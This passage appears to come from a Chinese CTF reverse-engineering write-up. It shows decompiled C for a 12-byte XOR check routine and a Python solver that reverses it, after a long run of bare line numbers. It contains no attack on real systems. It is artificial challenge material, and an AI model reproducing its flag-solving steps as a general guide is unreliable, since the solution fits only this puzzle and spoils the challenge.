int v14; // [rsp+48h] [rbp-18h]
int v15; // [rsp+4Ch] [rbp-14h]
unsigned __int64 v16; // [rsp+58h] [rbp-8h]

v1 = a1;
v16 = __readfsqword(0x28u);
*a1 ^= 0x2Bu;
v1[1] ^= 0x6Cu;
v1[2] ^= 0x7Eu;
v1[3] ^= 0x56u;
v1[4] ^= 0x39u;
v1[5] ^= 3u;
v1[6] ^= 0x2Du;
v1[7] ^= 0x28u;
v1[8] ^= 8u;
++v1[9];
v1[10] ^= 0x2Fu;
v1[11] ^= 0xAu;
++*v1;
v1[1] ^= 0xDu;
v1[2] ^= 0x73u;
v1[3] ^= v1[2];
v1[4] ^= 0x37u;
++v1[5];
v1[6] ^= 0x69u;
v1[7] ^= 0x59u;
v1[8] ^= 0xCu;
v1[9] ^= 0x70u;
++v1[10];
v1[11] ^= 0x1Fu;
++*v1;
v1[1] ^= 0x55u;
v1[2] ^= v1[1];
v1[3] ^= 0x72u;
v1[4] ^= 0x1Fu;
++v1[5];
v1[6] ^= 0x6Du;
v1[7] ^= v1[6];
v1[8] ^= v1[7];
v1[9] ^= 0x6Du;
++v1[10];
++v1[11];
++*v1;
v1[1] ^= 0x76u;
v1[2] ^= 0x49u;
v1[3] ^= 0x29u;
v1[4] ^= 0x17u;
v1[5] ^= 0x78u;
v1[6] ^= 0x6Eu;
v1[7] ^= v1[2];
v1[8] ^= 0x2Cu;
v1[9] ^= 0xEu;
v1[10] ^= 0x1Eu;
v1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;
v1[8] ^= v1[1];
v1[9] ^= 0x11u;
v1[10] ^= 0x73u;
v1[11] ^= v1[2];
*v1 ^= 0x59u;
v1[1] ^= 0x7Eu;
v1[2] ^= 0x4Fu;
v1[3] ^= 0x2Bu;
v1[4] ^= *v1;
v1[5] ^= 0x25u;
v1[6] ^= 0x2Eu;
v1[7] ^= 0x3Cu;
v1[8] ^= 0x6Bu;
v1[9] ^= 0x70u;
v1[10] ^= 0x29u;
v1[11] ^= 0x3Bu;
v4 = 126;
v5 = 50;
v6 = 37;
v7 = 88;
v8 = 89;
v9 = 107;
v10 = 53;
v11 = 110;
v12 = 0;
v13 = 19;
v14 = 30;
v15 = 56;
for ( i = 0; i <= 11; ++i )
{
if ( *(&v4 + i) != a1[i] )
{
printf("wrong on #%d\n", i);
return 0LL;
}
}
return 1LL;
}

先把算法流程用如下脚本逆过来

1
2
3
4
5
6
7
with open(r'out.txt', 'r') as rl:
rl = rl.readlines()

rl.reverse()

with open(r'test.txt', 'w') as wl:
wl.write(''.join(rl))

然后把加都改成减,再用下面的脚本跑即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
str_enc = [0x7e, 0x32, 0x25, 0x58, 0x59, 0x6b, 0x35, 0x6e, 0x0, 0x13, 0x1e, 0x38]

str_enc[11] ^= 0x3B
str_enc[10] ^= 0x29
str_enc[9] ^= 0x70
str_enc[8] ^= 0x6B
str_enc[7] ^= 0x3C
str_enc[6] ^= 0x2E
str_enc[5] ^= 0x25
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x2B
str_enc[2] ^= 0x4F
str_enc[1] ^= 0x7E
str_enc[0] ^= 0x59
str_enc[11] ^= str_enc[2]
str_enc[10] ^= 0x73
str_enc[9] ^= 0x11
str_enc[8] ^= str_enc[1]
str_enc[7] ^= 0x59
str_enc[6] ^= 0x65
str_enc[5] ^= str_enc[0]
str_enc[4] ^= 0x6F
str_enc[3] ^= 0xA
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x3B
str_enc[0] ^= 0x48
str_enc[11] ^= 0x29
str_enc[10] ^= 0x25
str_enc[9] ^= str_enc[4]
str_enc[8] ^= 5
str_enc[7] ^= 0x5C
str_enc[6] ^= 0x6F
str_enc[5] ^= 0x30
str_enc[4] ^= 0x56
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x4D
str_enc[1] ^= 0x1E
str_enc[0] ^= 0x77
str_enc[11] ^= 0x75
str_enc[10] ^= 0x6F
str_enc[9] -= 1
str_enc[8] ^= 0x68
str_enc[7] ^= 0x2D
str_enc[6] ^= 0x41
str_enc[5] ^= 0x34
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x7E
str_enc[1] ^= 0x24
str_enc[0] ^= 0x73
str_enc[11] ^= 0x11
str_enc[10] ^= 0x15
str_enc[9] ^= 0x7D
str_enc[8] ^= 0x7B
str_enc[7] ^= 0x74
str_enc[6] ^= 0x3D
str_enc[5] ^= 0x70
str_enc[4] ^= 0x74
str_enc[3] ^= 0x42
str_enc[2] ^= 0x2E
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x3A
str_enc[11] ^= str_enc[9]
str_enc[10] ^= 0x33
str_enc[9] -= 1
str_enc[8] ^= 0x6F
str_enc[7] ^= 0xA
str_enc[6] ^= 0x72
str_enc[5] ^= 0x26
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x2E
str_enc[1] ^= 0x59
str_enc[0] ^= 0x41
str_enc[11] ^= 0x25
str_enc[10] ^= 0x53
str_enc[9] ^= 0x1D
str_enc[8] ^= 0x1B
str_enc[7] ^= 0x57
str_enc[6] ^= 0x54
str_enc[5] ^= 0x3B
str_enc[4] -= 1
str_enc[3] ^= 0x6A
str_enc[2] ^= 0xE
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x23
str_enc[11] ^= 0x7C
str_enc[10] ^= 0x4C
str_enc[9] ^= str_enc[1]
str_enc[8] ^= 0xE
str_enc[7] ^= 0x45
str_enc[6] ^= 0x48
str_enc[5] ^= 0x29
str_enc[4] ^= 0x56
str_enc[3] ^= 0x19
str_enc[2] ^= 0x12
str_enc[1] ^= 0x22
str_enc[0] ^= 0x5B
str_enc[11] ^= 0x38
str_enc[10] ^= 0x60
str_enc[9] ^= 0x2F
str_enc[8] ^= 0x62
str_enc[7] ^= 0xD
str_enc[6] ^= 0x4F
str_enc[5] ^= 0xF
str_enc[4] ^= 0x7C
str_enc[3] ^= 0x73
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x3D
str_enc[0] ^= 3
str_enc[11] ^= str_enc[5]
str_enc[10] ^= 4
str_enc[9] -= 1
str_enc[8] ^= 0x73
str_enc[7] ^= str_enc[5]
str_enc[6] ^= 0x59
str_enc[5] ^= 0x52
str_enc[4] ^= 0xD
str_enc[3] ^= 0x5A
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x6B
str_enc[0] ^= 0x1D
str_enc[11] ^= 0x5D
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x27
str_enc[7] -= 1
str_enc[6] -= 1
str_enc[5] ^= 0x1F
str_enc[4] ^= 0x40
str_enc[3] ^= 0x49
str_enc[2] ^= 2
str_enc[1] ^= 0x28
str_enc[0] ^= 0x7B
str_enc[11] ^= 0x58
str_enc[10] ^= 0x57
str_enc[9] -= 1
str_enc[8] ^= 0x16
str_enc[7] -= 1
str_enc[6] ^= 0x3B
str_enc[5] ^= 0x45
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 0x1D
str_enc[2] ^= 0x5D
str_enc[1] ^= 0x6E
str_enc[0] -= 1
str_enc[11] -= 1
str_enc[10] ^= 0x57
str_enc[9] ^= str_enc[4]
str_enc[8] ^= 6
str_enc[7] ^= 0x57
str_enc[6] ^= str_enc[1]
str_enc[5] ^= 0x31
str_enc[4] ^= 0x25
str_enc[3] ^= 0x3B
str_enc[2] ^= 0x1B
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x72
str_enc[11] ^= str_enc[9]
str_enc[10] ^= str_enc[8]
str_enc[9] ^= 0x47
str_enc[8] -= 1
str_enc[7] ^= 0x15
str_enc[6] ^= str_enc[3]
str_enc[5] ^= 8
str_enc[4] ^= 0x19
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x12
str_enc[1] ^= 0x78
str_enc[0] ^= 0x24
str_enc[11] ^= 0x4B
str_enc[10] ^= 0x3D
str_enc[9] ^= 3
str_enc[8] -= 1
str_enc[7] ^= 0x4F
str_enc[6] ^= 0x1F
str_enc[5] -= 1
str_enc[4] ^= 0x20
str_enc[3] -= 1
str_enc[2] ^= 1
str_enc[1] ^= 0x1C
str_enc[0] -= 1
str_enc[11] ^= 0x5A
str_enc[10] ^= 0x2A
str_enc[9] ^= 0xB
str_enc[8] ^= 0x65
str_enc[7] ^= 0x71
str_enc[6] -= 1
str_enc[5] -= 1
str_enc[4] ^= 0x3E
str_enc[3] ^= 0x5E
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0x2E
str_enc[11] ^= 0x5C
str_enc[10] ^= 7
str_enc[9] ^= 0x38
str_enc[8] ^= 0x3E
str_enc[7] ^= 0x49
str_enc[6] ^= 0x6C
str_enc[5] ^= str_enc[0]
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 0x17
str_enc[2] ^= 0x34
str_enc[1] ^= 0x55
str_enc[0] ^= 0x76
str_enc[11] ^= 0x78
str_enc[10] ^= 0x54
str_enc[9] ^= 0x6B
str_enc[8] -= 1
str_enc[7] ^= 0x11
str_enc[6] -= 1
str_enc[5] ^= 0x41
str_enc[4] ^= 0x77
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x1C
str_enc[1] -= 1
str_enc[0] ^= 0x50
str_enc[11] ^= 0x51
str_enc[10] ^= 0x6D
str_enc[9] ^= 0x6C
str_enc[8] ^= 0x54
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x51
str_enc[5] ^= 0x3E
str_enc[4] -= 1
str_enc[3] ^= 2
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x77
str_enc[0] ^= 8
str_enc[11] ^= str_enc[0]
str_enc[10] ^= str_enc[7]
str_enc[9] ^= 0x28
str_enc[8] ^= 0x60
str_enc[7] ^= str_enc[1]
str_enc[6] ^= 8
str_enc[5] ^= 0xC
str_enc[4] ^= 0x62
str_enc[3] ^= 0x58
str_enc[2] ^= 0x57
str_enc[1] ^= 0x6B
str_enc[0] ^= 0xD
str_enc[11] ^= 0x1B
str_enc[10] ^= 0xB
str_enc[9] -= 1
str_enc[8] ^= 0x7D
str_enc[7] -= 1
str_enc[6] -= 1
str_enc[5] -= 1
str_enc[4] ^= 0x64
str_enc[3] ^= 0xE
str_enc[2] ^= 0x50
str_enc[1] ^= 0x24
str_enc[0] ^= 0x33
str_enc[11] ^= 0x6E
str_enc[10] ^= 0x2C
str_enc[9] ^= 0x2D
str_enc[8] ^= str_enc[3]
str_enc[7] ^= str_enc[4]
str_enc[6] ^= str_enc[5]
str_enc[5] ^= 0x3F
str_enc[4] ^= 0x49
str_enc[3] ^= 0x18
str_enc[2] ^= str_enc[1]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x75
str_enc[11] ^= 0x69
str_enc[10] ^= str_enc[1]
str_enc[9] ^= 0x7A
str_enc[8] ^= str_enc[7]
str_enc[7] ^= 0xC
str_enc[6] ^= 0x7F
str_enc[5] ^= 0x1D
str_enc[4] ^= 0x6A
str_enc[3] ^= 0x52
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x46
str_enc[0] ^= 0x61
str_enc[11] ^= 0x67
str_enc[10] ^= 0x56
str_enc[9] ^= 0x55
str_enc[8] ^= 0x38
str_enc[7] ^= str_enc[4]
str_enc[6] ^= 0x7F
str_enc[5] -= 1
str_enc[4] ^= 0xB
str_enc[3] ^= 0x65
str_enc[2] -= 1
str_enc[1] ^= 9
str_enc[0] ^= 0x18
str_enc[11] ^= 0x7A
str_enc[10] ^= 0x4B
str_enc[9] ^= 0x6C
str_enc[8] ^= 1
str_enc[7] ^= 0x52
str_enc[6] ^= 0x18
str_enc[5] ^= 0x65
str_enc[4] ^= 0x12
str_enc[3] ^= 0x41
str_enc[2] ^= str_enc[0]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x58
str_enc[11] ^= 0x54
str_enc[10] ^= 0x73
str_enc[9] ^= str_enc[8]
str_enc[8] ^= 0x51
str_enc[7] ^= 0x36
str_enc[6] -= 1
str_enc[5] ^= 0x21
str_enc[4] ^= 0x6E
str_enc[3] ^= 0x54
str_enc[2] ^= 0x6E
str_enc[1] -= 1
str_enc[0] ^= 0x65
str_enc[11] ^= 0x28
str_enc[10] ^= 0x53
str_enc[9] -= 1
str_enc[8] ^= 0x34
str_enc[7] ^= 9
str_enc[6] ^= str_enc[4]
str_enc[5] ^= 0x52
str_enc[4] ^= 0x49
str_enc[3] -= 1
str_enc[2] ^= 0x4A
str_enc[1] -= 1
str_enc[0] ^= 0x35
str_enc[11] ^= 0x70
str_enc[10] ^= 0x64
str_enc[9] ^= str_enc[7]
str_enc[8] ^= 0x71
str_enc[7] ^= 0x5C
str_enc[6] ^= 0x3D
str_enc[5] ^= 0x52
str_enc[4] ^= 0x2B
str_enc[3] ^= 0x13
str_enc[2] ^= 0x73
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x47
str_enc[11] ^= str_enc[8]
str_enc[10] ^= 0x40
str_enc[9] ^= 0x63
str_enc[8] ^= 0x7C
str_enc[7] ^= 8
str_enc[6] ^= 0x21
str_enc[5] ^= 0x22
str_enc[4] ^= 0x2C
str_enc[3] ^= 0x7A
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x5F
str_enc[0] ^= 0x12
str_enc[11] ^= 0x45
str_enc[10] -= 1
str_enc[9] ^= 0x3C
str_enc[8] ^= str_enc[2]
str_enc[7] ^= 0x27
str_enc[6] -= 1
str_enc[5] ^= 0x44
str_enc[4] ^= 0x7E
str_enc[3] ^= 0x3B
str_enc[2] ^= 0x79
str_enc[1] ^= 0x4D
str_enc[0] ^= 0x5D
str_enc[11] ^= 0x33
str_enc[10] ^= str_enc[4]
str_enc[9] ^= 0x67
str_enc[8] ^= 4
str_enc[7] ^= 0x37
str_enc[6] ^= str_enc[0]
str_enc[5] ^= 0xE
